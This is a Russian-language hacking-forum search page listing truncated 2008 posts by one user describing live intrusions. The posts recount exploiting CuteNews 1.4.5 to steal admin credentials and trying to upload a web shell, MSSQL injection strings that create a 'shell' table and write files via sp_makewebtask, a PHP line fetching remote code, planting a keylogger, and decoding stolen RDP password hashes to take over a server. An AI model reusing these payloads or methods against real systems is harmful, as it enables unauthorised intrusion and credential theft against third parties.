 |
 |
 | |
 | |
| |
 |
 |
FORUMS | |
MEMBERS | |
RECENT POSTS |  |
LOG IN |
|
||||||
|
Показано с 1 по 22 из 22.
На поиск затрачено 0.00 сек. Поиск: Сообщения от: 6u4yxa |
Раздел: Уязвимости
21.07.2008, 03:32
|
|
Ответов: 7
Просмотров: 1,051
Автор
6u4yxa
пришел к такому решению.. нашел 2 функции на...пришел к такому решению.. нашел 2 функции на дельфях кодирование и декодирование хешей от рдп накидал консольку закинул ему в атозагрузку ребутнул комп и упер пароль =) |
|
Раздел: Уязвимости
16.07.2008, 02:47
|
|
Ответов: 7
Просмотров: 1,051
Автор
6u4yxa
просидел в засаде с кейлогером неделю =)....просидел в засаде с кейлогером неделю =). результат - пароль и логин у него сохранен в форме и он не вводит его =). Пошел дальше нашел сохраненый рдп.. открыл блокнотом и увидел хеш пароля и логин.... |
|
Раздел: Уязвимости
15.07.2008, 02:58
|
|
Ответов: 7
Просмотров: 1,051
Автор
6u4yxa
Блин торавирсчи, подскажите как пароль угнать от...Блин торавирсчи, подскажите как пароль угнать от рдп.. любые идеи приведствуются.. up up up |
|
Раздел: Уязвимости
14.07.2008, 06:15
|
|
Ответов: 7
Просмотров: 1,051
Автор
6u4yxa
Зделал дамп реестра той машины, только вот где...Зделал дамп реестра той машины, только вот где хранит пароли rdp в реестре ? Облазил Terminal server - не че нужного. Хочю попробовать ветку его реестра воткнуть на свой комп(знаю что пароль на... |
|
Раздел: Уязвимости
11.07.2008, 18:13
|
|
Ответов: 7
Просмотров: 1,051
Автор
6u4yxa
Rdp (реестр)Вобщем дело обстоит так... Есть сервак, который весь перекрытый напроч, но на нем весит RDP и через фаирвол дает доступ только с 1 машины которую я прощюпал и залил через веб шел. Облазил все машину... |
|
Раздел: Уязвимости
11.07.2008, 10:30
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 623,788
Автор
6u4yxa
Вообещм разобрался пошел по пути создание базы...Вообещм разобрался пошел по пути создание базы запись в неё пхп скрипта и вывод в файл.. так как из за ковычек не как не хотел использовал... |
|
Раздел: Уязвимости
11.07.2008, 08:53
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 623,788
Автор
6u4yxa
Нашел такое во трешение но опять споткнулся.. ...Нашел такое во трешение но опять споткнулся.. создать таблицу залить в неё пхп скрипт и потом вывести в в файл.. делаю http://ip/stat.php?type=melee';create table shell (code varchar(8000))-- ... |
|
Раздел: Уязвимости
11.07.2008, 08:18
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 623,788
Автор
6u4yxa
Разобрался с выводом файл делаю так:
-...Разобрался с выводом файл делаю так: - Работает! а как зделать что бы как в Mysql через OUTFILE заливать шелы.. мне надо вставить вот это <?php $a=file_get_contents(\'http://ip/2008.txt\');... |
|
Раздел: Уязвимости
11.07.2008, 06:23
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 623,788
Автор
6u4yxa
ДЛя MSSQL нашел как вывести в файл запрос. ...ДЛя MSSQL нашел как вывести в файл запрос. EXEC master..sp_makewebtask “file.txt”, “sql-query”. Пробую - http://ip/stats.php?type=man';exec+master..sp_makewebtask+'D:\appserv\www\123.txt',... |
|
Раздел: Уязвимости
10.07.2008, 21:26
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 623,788
Автор
6u4yxa
Всем привет..
Товарисчи такое вот дело.. нашел...Всем привет.. Товарисчи такое вот дело.. нашел скуль и все бы не чего если бы база была mysql c outfile, но увы MSSQL. Побегал по форуму нашел кое что пробую, пишет - Warning: mssql_query()... |
|
Раздел: Криптография, расшифровка хешей
11.04.2008, 09:20
|
|
Ответов: 3,086
Просмотров: 179,132
Автор
6u4yxa
npuBeTbI!
nomoruTe nogo6paTb oT cutenews -...npuBeTbI! nomoruTe nogo6paTb oT cutenews - b39fd945c42674d1919f2de7e51e8104 |
|
Раздел: PHP
04.04.2008, 02:42
|
|
Ответов: 16,396
Просмотров: 581,220
Автор
6u4yxa
|
|
Раздел: PHP
03.04.2008, 13:18
|
|
Ответов: 16,396
Просмотров: 581,220
Автор
6u4yxa
плиз тыкни носом я просто с оченннннь отдаленого...плиз тыкни носом я просто с оченннннь отдаленого города и у нас инет просто ДЕБИЛ в плане тормаза и траф дороговатый =) да и страниц тут уже 260 =) ____________ дошел до 245 не че не нашел то,... |
|
Раздел: PHP
03.04.2008, 13:15
|
|
Ответов: 16,396
Просмотров: 581,220
Автор
6u4yxa
я в темплейт ето вставляю, но если вставить без...я в темплейт ето вставляю, но если вставить без <? ?> то он отоброжает не код пхп а все ету строчку |
|
Раздел: PHP
03.04.2008, 05:33
|
|
Ответов: 16,396
Просмотров: 581,220
Автор
6u4yxa
про евал уже все что можно прочитал но не могу...про евал уже все что можно прочитал но не могу все равно понять зачем он нужен... А на счет теплейта как реализовать php код там? _____________________ попробовал тот код из примера работает... |
|
Раздел: PHP
03.04.2008, 05:13
|
|
Ответов: 16,396
Просмотров: 581,220
Автор
6u4yxa
после того как занес ето в теплейт вылезло вот...после того как занес ето в теплейт вылезло вот ето Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING |
|
Раздел: PHP
03.04.2008, 04:26
|
|
Ответов: 16,396
Просмотров: 581,220
Автор
6u4yxa
Всем участникам приветы!
хотел вот спросить ибо...Всем участникам приветы! хотел вот спросить ибо уже сломал се моск.... =( по моему вопросу в одной из тем мне посоветовали "Eval'лить код или поставь форму на закачку шела". Ушел в статьи и на... |
|
Раздел: Уязвимости
02.04.2008, 13:18
|
|
Ответов: 24
Просмотров: 5,388
Автор
6u4yxa
Когда через админку вставляю в темплейты любой...Когда через админку вставляю в темплейты любой пхп код, то он не как не всопринимается. |
|
Раздел: Уязвимости
02.04.2008, 13:08
|
|
Ответов: 24
Просмотров: 5,388
Автор
6u4yxa
C URL file-access enabled - меня побрили без...C URL file-access enabled - меня побрили без указания причин =) Есть какие нить варианты, как залить шелл имея админку в cutenews ? |
|
Раздел: Уязвимости
02.04.2008, 11:43
|
|
Ответов: 24
Просмотров: 5,388
Автор
6u4yxa
нашел на секьюритилаб
Прошелся 100 раз...нашел на секьюритилаб Прошелся 100 раз по всем трем пунктам =) результата 0 =) хостер (в локалке сервак) выдает: Warning: include() [function.include]: URL file-access is disabled in the... |
|
Раздел: Уязвимости
02.04.2008, 02:28
|
|
Ответов: 24
Просмотров: 5,388
Автор
6u4yxa
Про 1:
а можно поподробней про 123.jpg.php ....Про 1: а можно поподробней про 123.jpg.php . (попробовал залить через админку пишет такой тип файлов не поддерживается) 2: Я пробывал вставлять на прямую пхп код, но он не выводит его...... |
|
Раздел: Уязвимости
01.04.2008, 02:13
|
|
Ответов: 24
Просмотров: 5,388
Автор
6u4yxa
CuteNews 1.4.5 helpЗдраствуйте товарисчи ! С толкнулся с такой проблемой. Пробежавшись по сайтам нашел сплойт на 1,4,5 выдернул акк и пароль на админку, проверил - входит. Опять полез по просторам искать возможность... |
| Показано с 1 по 22 из 22. |
